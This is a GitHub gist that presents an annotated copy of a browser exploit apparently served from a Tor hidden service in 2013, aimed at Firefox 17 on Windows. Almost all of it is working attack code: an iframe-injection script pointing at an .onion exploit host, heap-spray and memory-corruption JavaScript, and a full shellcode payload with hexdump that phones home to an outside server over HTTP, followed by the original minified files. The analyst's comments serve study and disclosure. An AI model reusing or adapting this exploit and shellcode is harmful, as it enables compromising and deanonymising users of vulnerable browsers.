Skip to content

Instantly share code, notes, and snippets.

@glamrock

glamrock/addl_analysis

Last active April 1, 2016 01:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save glamrock/6ecc6d6d193152c8ad9e to your computer and use it in GitHub Desktop.
Save glamrock/6ecc6d6d193152c8ad9e to your computer and use it in GitHub Desktop.
Download ZIP
Purported FH exploit code
Raw
addl_analysis
/****************************************************************************
* Exploits delivered from through nl7qbezu7pqsuone.onion (2013-08-03):
*
* The compromised server inserts a run-of-the-mill unobfuscated iframe
* injection script; others have observed this and samples have been posted.
*
* The exploit is split across three files and presumably an ultimate
* payload of malware that was not obtained.
*/
// To preserve the JavaScript syntax highlighting, non-JS bits are commented out.
/****************************************************************************
* A somewhat cleaned up version is presented first, the original exploit
* as first downloaded follows.
*
* This appears to be an exploit in the Firefox 17 JS runtime. The script
* does not attempt the exploit unless running on Firefox 17 on Windows.
*/
/****************************************************************************
* A compromised server inserts a script like the following.
* The XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX is a UUID generated by the server.
* The exploit host will serve the exploit for any UUID, however.
* I used 05cea4de-951d-4037-bf8f-f69055b279bb for this analysis.
* The UUID is embedded in the shellcode.
*/
//<script type='text/javascript'>
function createCookie(name,value,minutes) {
if (minutes) {
var date = new Date();
date.setTime(date.getTime()+(minutes*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function isFF() {
return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent));
}
function updatify() {
var iframe = document.createElement('iframe');
iframe.style.display = "inline";
iframe.frameBorder = "0";
iframe.scrolling = "no";
iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
iframe.height = "5";
iframe.width = "*";
document.body.appendChild(iframe);
}
function format_quick() {
if ( ! readCookie("n_serv") ) {
createCookie("n_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30);
updatify();
}
}
function isReady()
{
if ( document.readyState === "interactive" || document.readyState === "complete" ) {
if ( isFF() ) {
format_quick();
}
}
else
{
setTimeout(isReady, 250);
}
}
setTimeout(isReady, 250);
//</script>
/****************************************************************************
* The exploit server at nl7qbezu7pqsuone.onion also delivers two supporting
* pieces that are loaded into their own iframes. Since they are short,
* they are included before the main exploit.
*
* (All lines containing HTML are commented out.)
*/
//// "content_2.html"
// <html><body></body></html>
// <script>
var y="?????", url=window.location.href;
if(0>url.indexOf(y)) {
var iframe=document.createElement("iframe");
iframe.src="content_3.html";
document.body.appendChild(iframe)
} else parent.w();
function df(){return parent.df()};
// </script>
//// "content_3.html"
// <script>
var y="?????",z="<body><img height='1' width='1' src='error.html' onerror=\"javascript: window.location.href='content_2.html?????';\" ></body>",flag=!1,var83=0;
function b() {
for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)
e[c]=new ArrayBuffer(180);
for(c=0;1024>c;c++)
d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;
return d
}
function a() {
!1==flag && (flag=!0,window.stop());
window.stop();
b();
window.parent.frames[0].frameElement.ownerDocument.write(z);
b()
}
var83 = parent.df();
0!=var83 && document.addEventListener("readystatechange",a,!1);
// </script>
//// The main exploit
// <html>
// <body>
// <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
// </body>
// </html>
// <script>
var var1=0xB0;
var var2 = new Array(var1);
var var3 = new Array(var1);
var var4 = new Array(var1);
var var5=0xFF004;
var var6=0x3FC01;
var var7=0x60000000;
var var8=0x18000000;
var var9=1;
var var10 = 0x12000000;
var var11 = 0;
var var12=0; // set in b() if on Firefox 17, read in df()
// exploit will not be attempted unless var12 is set
var var13 =0;
// top entry point, called as onload handler
function u()
{
if( t() == true )
{
var9 = 1;
b();
d();
c();
}else{
return ;
}
}
function t() // only attempt the exploit once per session
{
if(typeof sessionStorage.tempStor !="undefined")
return false;
sessionStorage.tempStor="";
return true;
}
function b()
{
var version = al(); // ensure Firefox on Windows
if(version <17)
{
window.location.href="content_1.html";
} // "content_1.html" was never obtained
if( version >=17 && version <18 )
var12 = 0xE8;
return ;
}
function aj(version) // confirm Windows platform
{
var i = navigator.userAgent.indexOf("Windows NT");
if (i != -1)
return true;
return false;
}
function ak() // confirm Firefox browser
{
var ua = navigator.userAgent;
var browser = ua.substring(0, ua.lastIndexOf("/"));
browser = browser.substring(browser.lastIndexOf(" ") + 1);
if (browser != "Firefox")
return -1;
var version = ua.substring(ua.lastIndexOf("/") + 1);
version = parseInt(version.substring(0, version.lastIndexOf(".")));
return version;
}
function al() // get browser version, -1 if not exploitable
{
version = ak();
if (!aj(version))
return -1;
return version;
}
function d()
{
for(var j=0;j<var1;j++)
{
if( j<var1/8 || j==var1-1)
{
var tabb = new Array(0x1ED00);
var4[j]=tabb;
for(i=0;i<0x1ED00;i++)
{
var4[j][i]=0x11559944;
}
}
var2[j]= new ArrayBuffer(var5);
}
for(var j=0;j<var1;j++)
{
var3[j]= new Int32Array(var2[j],0,var6);
var3[j][0]=0x11336688;
for(var i=1;i<16;i++)
{
var3[j][0x4000*i] = 0x11446688;
}
}
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
var4[j][0]=0x22556611;
}
}
}
// load the next piece of the exploit
function c()
{
var iframe=document.getElementById("iframe");
iframe.src="content_2.html";
}
// functions below here are called from the other iframes
// df() is passed through content_2 and used by content_3
// called nowhere else
// The exploit is not attempted if this returns zero.
// Note that var12 will be zero unless on Firefox 17.
// The returned value is used as part of a heap spray in content_3.
function df()
{
if(var12==0)
{
return 0x00000000;
}
var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
if( var9 == 1 || var9 == 2)
return ( var14 - var12);
else
return 0x00000000;
}
// w() is called from the second time content_2 is loaded
function w()
{
if(var9==1)
v();
else
x();
}
function v()
{
if(k() == -1)
{
var11 = p();
var9 = 2;
c();
}else{
x();
}
}
// This quickly becomes a huge mess that is obviously depending
// on the JS runtime to screw up in some arcane way. Little is
// known about the actual exploit, other than some apparent
// shellcode in function f(). Here be dragons.
function k()
{
for(var j=0;j<var1;j++)
{
if(var2[j].byteLength!=var5)
{
return j;
}
}
return -1;
}
function p()
{
for(var j=0;j<var1;j++)
{
for(var i=1;i<16;i++)
{
if(var3[j][i*0x4000-0x02]==0x01000000)
{
return -i;
}
}
}
return 0;
}
function x()
{
var var60 = k();
if(var60==-1)
return ;
var nextvar60 = q(var60);
if(nextvar60==-1)
return ;
var var61 = o(var60);
var var62 = new Int32Array(var2[nextvar60],0,var8);
var var58 = n(var62,var61);
if(var58==-1)
return ;
var var50 = m(var62,var58);
var13 = var10 + 0x00100000 + 0x00010000 * var11;
e(var62);
l(var62,var58);
var var64 = var4[var50][0];
ac(var64,var50,var62,var58,var60);
}
function q(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var7;
if(var2[var60+1].byteLength==var7)
return var60+1;
return -1;
}
function o(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
var var59 = view[0x00100000/4-0x0C];
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
return ((var59 - var57)/4);
}
function n(view,firstvar58)
{
var var57 = var10 + 0x00100000 + 0x00010000 * var11;
var var58=0;
for(var i=0;i<200;i++)
{
if(view[var58] != 0x11336688)
{
if(view[var58] == 0x22556611 )
return var58;
else
return -1;
}
if(var58==0)
{
var58 = firstvar58;
}else{
var var59=view[var58-0x0C];
var58 = (var59 - var57)/4;
}
}
return -1;
}
function m(view,var58)
{
view[var58]=0x00000000;
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
if(var4[j][0]!=0x22556611)
return j;
}
}
return -1
}
function e(view)
{
var i=0;
for(i=0;i<0x400;i++)
{
view[i] = var13+0x1010 ;
}
view[0x0]=var13+0x1010;
view[0x44]=0x0;
view[0x45]=0x0;
view[0x400-4]=var13+0x1010;
view[0x400]=0x00004004;
view[0x401]=0x7FFE0300;
}
function l(view,var58)
{
view[var58] = var13 + 0x1030;
view[var58+1] = 0xFFFFFF85;
}
function ac(var64,var50,var62,var58,var60)
{
var var15=ah(var64);
f(var15,var62,var58);
y(var50);
var var66 = aa(var62,var58+2);
var var67 = i(var66,0x40,var50,var62) ;
j(var67,var62);
g(var50,var62);
ab(var13+0x1040 ,var62,var58+2);
r(var60)
setTimeout(ad,1000);
z(var50);
}
function ah(var73)
{
var var74 = var73.substring(0,2);
var var70 = var74.charCodeAt(0);
var var71 = var74.charCodeAt(1);
var var75 = (var71 << 16) + var70;
if (var75 == 0)
{
var var76 = var73.substring(32, 34);
var var70 = var76.charCodeAt(0);
var var71 = var76.charCodeAt(1);
var75 = (var71 << 16) + var70;
}
var var15 = am(var75);
if (var15 == -1)
{
return;
}
return var15
}
function am(var77)
{
var var15 = new Array(2);
if (var77 % 0x10000 == 0xE510)
{
var78 = var77 - 0xE510;
var15[0] = var78 + 0xE8AE;
var15[1] = var78 + 0xD6EE;
}
else if (var77 % 0x10000 == 0x9A90)
{
var78 = var77 - 0x69A90;
var15[0] = var78 + 0x6A063;
var15[1] = var78 + 0x68968;
}
else if (var77 % 0x10000 == 0x5E70)
{
var78 = var77 - 0x65E70;
var15[0] = var78 + 0x66413;
var15[1] = var78 + 0x64D34;
}
else if (var77 % 0x10000 == 0x35F3)
{
var78 = var77 - 0x335F3;
var15[0] = var78 + 0x4DE13;
var15[1] = var78 + 0x49AB8;
}
else if (var77 % 0x10000 == 0x5CA0)
{
var78 = var77 - 0x65CA0;
var15[0] = var78 + 0x66253;
var15[1] = var78 + 0x64B84;
}
else if (var77 % 0x10000 == 0x5CD0)
{
var78 = var77 - 0x65CD0;
var15[0] = var78 + 0x662A3;
var15[1] = var78 + 0x64BA4;
}
else if (var77 % 0x10000 == 0x6190)
{
var78 = var77 - 0x46190;
var15[0] = var78 + 0x467D3;
var15[1] = var78 + 0x45000;
}
else if (var77 % 0x10000 == 0x9CB9)
{
var78 = var77 - 0x29CB9;
var15[0] = var78 + 0x29B83;
var15[1] = var78 + 0xFFC8;
}
else if (var77 % 0x10000 == 0x9CE9)
{
var78 = var77 - 0x29CE9;
var15[0] = var78 + 0x29BB3;
var15[1] = var78 + 0xFFD8;
}
else if (var77 % 0x10000 == 0x70B0)
{
var78 = var77 - 0x470B0;
var15[0] = var78 + 0x47733;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x7090)
{
var78 = var77 - 0x47090;
var15[0] = var78 + 0x476B3;
var15[1] = var78 + 0x45F18;
}
else if (var77 % 0x10000 == 0x9E49)
{
var78 = var77 - 0x29E49;
var15[0] = var78 + 0x29D13;
var15[1] = var78 + 0x10028;
}
else if (var77 % 0x10000 == 0x9E69)
{
var78 = var77 - 0x29E69;
var15[0] = var78 + 0x29D33;
var15[1] = var78 + 0x10018;
}
else if (var77 % 0x10000 == 0x9EB9)
{
var78 = var77 - 0x29EB9;
var15[0] = var78 + 0x29D83;
var15[1] = var78 + 0xFFC8;
}
else
{
return -1;
}
return var15;
}
function f(var15,view,var16)
{
var magneto = "";
var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
var var29 = magneto;
var var17 = "\u9060";
var var18 = "\u9061";
var var19 = "\uC481\u0000\u0008" ;
var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16) & 0x0000FFFF);
var var22 = "\uE589";
var var23 ="\uC3C9";
var var24 = "\uE889";
var24 += "\u608D\u90C0";
var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
var var26 = var25 + var16*4
var var27 =""
var27 += "\uB890\u2020\u2020";
var27 += "\uA390"+ae(var26+0x00);
var27 += "\uA390"+ae(var26+0x04);
var27 += "\uA390"+ae(var26+0x08);
var27 += "\uA390"+ae(var26+0x0C);
var var28 = var17;
var28 += var20;
var28 += var19;
var28 += var22;
var28 += var27;
var28 += var29;
var28 += var21;
var28 += var18;
var28 += var23;
var var29Array = new Array();
var29Array=ag(var28);
var var29Ad = var13+0x5010;
var i=0;
var j=0;
var var30=var13+0x4048;
var var31 = new Array();
var31[0]=var30;
var31[1]=var30;
var31[2]=var30;
var31[3]=var15[1];
var31[4]=var29Ad;
var31[5]=0xFFFFFFFF;
var31[6]=var13+0x4044;
var31[7]=var13+0x4040;
var31[8]=0x00000040;
var31[9]=var13+0x4048;
var31[10]=0x00040000;
var31[11]=var29Ad;
var31[12]=var13+0x301C;
for(var i=0 ; i < 0x140 ; i++)
{
var31[i+15]=var15[0];
}
var var32 = 0x3F8;
view[0x800+0+var32]=var13+0x4018;
view[0x800+1+var32]=var13+0x4018;
for(var i=2 ; i < var31.length ; i++)
{
view[0x800+i+var32]= 0x41414141;
}
for(var i=0 ; i < var31.length ; i++)
{
view[0xC02+i+var32]= var31[i];
}
for(var i=0 ; i < var29Array.length ; i++)
{
view[0x1000 + i+var32] = var29Array[i];
}
}
function ae(int32)
{
var var68 = String.fromCharCode((int32)& 0x0000FFFF);
var var69 = String.fromCharCode((int32 >> 16) & 0x0000FFFF);
return var68+var69;
}
function af(string)
{
var var70 = string.charCodeAt(0);
var var71 = string.charCodeAt(1);
var var72 = (var71 << 16) + var70;
return var72;
}
function ag(string)
{
if(string.length%2!=0)
string+="\u9090";
var intArray= new Array();
for(var i=0 ; i*2 < string.length; i++ )
intArray[i]=af(string[i*2]+string[i*2+1]);
return intArray;
}
function y(index)
{
var4[index][1]= document.createElement('span') ;
}
function aa(view,var63)
{
return view[var63];
}
function i(address,size,var50,view)
{
var var56 = size/2;
var56 = var56*0x10 +0x04;
view[0x400]=var56;
view[0x401]=address;
return var4[var50][0];
}
function j(memory,view)
{
var intArray=ag(memory);
for(var i=0 ; i < intArray.length ; i++)
{
view[0x404+i]=intArray[i];
}
}
function g(var50,view)
{
var k = h(var50,view);
var j=0;
if( k < 0 )
return -1;
view[0x404+k]=var13+0x3010;
return 1;
}
function h(var50,view)
{
var address=0;
var u=0;
var memory="";
var var55=0;
for( u =7; u >=4 ;u--)
{
address=view[0x404+u];
if( address > 0x000A0000 && address < 0x80000000 )
{
memory = i(address,0x48,var50,view);
var55=af(memory[0x14]+memory[0x15]);
if(var55==address)
{
return u;
}
}
}
return -1;
}
function ab(address,view,var63)
{
view[var63]=address;
}
function r(var60)
{
var view = new Int32Array(var2[var60],0,0x00040400);
view[0x00100000/4-0x02]=var5;
}
function z(index,index2)
{
var4[index][1].innerHTML;
}
// ad() is called through setTimeout
function ad()
{
for(var j=0;j<var1;j++)
{
delete var3[j]
var3[j]= null;
delete var2[j];
var2[j] = null;
if(typeof var4[j] !="undefined")
{
delete var4[j];
var4[j] = null;
}
}
delete var2;
delete var3;
delete var4;
var2=null;
var3=null;
var4=null;
}
window.addEventListener("onload", u(),true);
// </script>
/****************************************************************************
* This a hexdump of the shellcode block as "var magneto" in f() above.
*/
// 0000 60 fc e8 8a 00 00 00 60 89 e5 31 d2 64 8b 52 30 |`......`..1.d.R0|
// 0010 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 |.R..R..r(..J&1.1|
// 0020 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 |..<a|., .......R|
// 0030 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a |W.R..B<...@x..tJ|
// 0040 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 |..P.H..X ...<I.4|
// 0050 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 |...1.1.......8.u|
// 0060 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 |..}.;}$u.X.X$..f|
// 0070 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 |..K.X.........D$|
// 0080 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 |$[[aYZQ..X_Z....|
// 0090 05 5d 81 bd e9 02 00 00 47 45 54 20 75 70 8d 85 |.]......GET up..|
// 00a0 d1 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 74 5e |....PhLw&.....t^|
// 00b0 8d 85 d8 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 |......PhLw&.....|
// 00c0 74 4c bb 90 01 00 00 29 dc 54 53 68 29 80 6b 00 |tL.....).TSh).k.|
// 00d0 ff d5 01 dc 85 c0 75 36 50 50 50 50 40 50 40 50 |......u6PPPP@P@P|
// 00e0 68 ea 0f df e0 ff d5 31 db f7 d3 39 c3 74 1f 89 |h......1...9.t..|
// 00f0 c3 6a 10 8d b5 e1 02 00 00 56 53 68 99 a5 74 61 |.j.......VSh..ta|
// 0100 ff d5 85 c0 74 1f fe 8d 89 00 00 00 75 e3 80 bd |....t.......u...|
// 0110 4f 02 00 00 01 74 07 e8 3b 01 00 00 eb 05 e8 4d |O....t..;......M|
// 0120 01 00 00 ff e7 b8 00 01 00 00 29 c4 89 e2 52 50 |..........)...RP|
// 0130 52 68 b6 49 de 01 ff d5 5f 81 c4 00 01 00 00 85 |Rh.I...._.......|
// 0140 c0 0f 85 f2 00 00 00 57 e8 f9 00 00 00 5e 89 ca |.......W.....^..|
// 0150 8d bd e9 02 00 00 e8 eb 00 00 00 4f 83 fa 20 7c |...........O.. ||
// 0160 05 ba 20 00 00 00 89 d1 56 f3 a4 b9 0d 00 00 00 |.. .....V.......|
// 0170 8d b5 c4 02 00 00 f3 a4 89 bd 4b 02 00 00 5e 56 |..........K...^V|
// 0180 68 a9 28 34 80 ff d5 85 c0 0f 84 aa 00 00 00 66 |h.(4...........f|
// 0190 8b 48 0a 66 83 f9 04 0f 82 9c 00 00 00 8d 40 0c |.H.f..........@.|
// 01a0 8b 00 8b 08 8b 09 b8 00 01 00 00 50 89 e7 29 c4 |...........P..).|
// 01b0 89 e6 57 56 51 51 68 48 72 d2 b8 ff d5 85 c0 81 |..WVQQhHr.......|
// 01c0 c4 04 01 00 00 0f b7 0f 83 f9 06 72 6c b9 06 00 |...........rl...|
// 01d0 00 00 b8 10 00 00 00 29 c4 89 e7 89 ca d1 e2 50 |.......).......P|
// 01e0 52 31 d2 8a 16 88 d0 24 f0 c0 e8 04 3c 09 77 04 |R1.....$....<.w.|
// 01f0 04 30 eb 02 04 37 88 07 47 88 d0 24 0f 3c 09 77 |.0...7..G..$.<.w|
// 0200 04 04 30 eb 02 04 37 88 07 47 46 e2 d4 59 29 cf |..0...7..GF..Y).|
// 0210 89 fe 58 01 c4 8b bd 4b 02 00 00 f3 a4 c6 85 4f |..X....K.......O|
// 0220 02 00 00 01 e8 2e 00 00 00 31 c0 50 51 29 cf 4f |.........1.PQ).O|
// 0230 57 53 68 c2 eb 38 5f ff d5 53 68 75 6e 4d 61 ff |WSh..8_..ShunMa.|
// 0240 d5 e9 c8 fe ff ff 31 c9 f7 d1 31 c0 f2 ae f7 d1 |......1...1.....|
// 0250 49 c3 00 00 00 00 00 8d bd e9 02 00 00 e8 e4 ff |I...............|
// 0260 ff ff 4f b9 4f 00 00 00 8d b5 75 02 00 00 f3 a4 |..O.O.....u.....|
// 0270 8d bd e9 02 00 00 e8 cb ff ff ff c3 0d 0a 43 6f |..............Co|
// 0280 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 |nnection: keep-a|
// 0290 6c 69 76 65 0d 0a 41 63 63 65 70 74 3a 20 2a 2f |live..Accept: */|
// 02a0 2a 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 |*..Accept-Encodi|
// 02b0 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a 00 83 c7 0e |ng: gzip........|
// 02c0 31 c9 f7 d1 31 c0 f3 ae 4f ff e7 0d 0a 43 6f 6f |1...1...O....Coo|
// 02d0 6b 69 65 3a 20 49 44 3d 77 73 32 5f 33 32 00 49 |kie: ID=ws2_32.I|
// 02e0 50 48 4c 50 41 50 49 00 02 00 00 50 41 de ca 36 |PHLPAPI....PA..6|
// 02f0 47 45 54 20 2f 30 35 63 65 61 34 64 65 2d 39 35 |GET /05cea4de-95|
// 0300 31 64 2d 34 30 33 37 2d 62 66 38 66 2d 66 36 39 |1d-4037-bf8f-f69|
// 0310 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2f 31 |055b279bb HTTP/1|
// 0320 2e 31 0d 0a 48 6f 73 74 3a 20 00 00 00 00 00 00 |.1..Host: ......|
// 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
// *
// 03b0 00 00 00 00 00 00 00 00 00 00 00 90 |............|
// 03bc
/****************************************************************************
* The original files as obtained from the exploit server follow:
*/
//// "content_2.html"
<html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
//// "content_3.html"
<script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
</script>
//// main exploit
<html>
<body>
<iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
</body>
</html>
<script>
var var1=0xB0;
var var2 = new Array(var1);
var var3 = new Array(var1);
var var4 = new Array(var1);
var var5=0xFF004;
var var6=0x3FC01;
var var7=0x60000000;
var var8=0x18000000;
var var9=1;
var var10 = 0x12000000;
var var11 = 0;
var var12=0;
var var13 =0;
function df()
{
if(var12==0)
{
return 0x00000000;
}
var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
if( var9 == 1 || var9 == 2)
return ( var14 - var12);
else
return 0x00000000;
}
function b()
{
var version = al();
if(version <17)
{
window.location.href="content_1.html";
}
if( version >=17 && version <18 )
var12 = 0xE8;
return ;
}
function c()
{
var iframe=document.getElementById("iframe");
iframe.src="content_2.html";
}
function d()
{
for(var j=0;j<var1;j++)
{
if( j<var1/8 || j==var1-1)
{
var tabb = new Array(0x1ED00);
var4[j]=tabb;
for(i=0;i<0x1ED00;i++)
{
var4[j][i]=0x11559944;
}
}
var2[j]= new ArrayBuffer(var5);
}
for(var j=0;j<var1;j++)
{
var3[j]= new Int32Array(var2[j],0,var6);
var3[j][0]=0x11336688;
for(var i=1;i<16;i++)
{
var3[j][0x4000*i] = 0x11446688;
}
}
for(var j=0;j<var1;j++)
{
if(typeof var4[j] !="undefined")
{
var4[j][0]=0x22556611;
}
}
}
function e(view)
{
var i=0;
for(i=0;i<0x400;i++)
{
view[i] = var13+0x1010 ;
}
view[0x0]=var13+0x1010;
view[0x44]=0x0;
view[0x45]=0x0;
view[0x400-4]=var13+0x1010;
view[0x400]=0x00004004;
view[0x401]=0x7FFE0300;
}
function f(var15,view,var16)
{
var magneto = "";
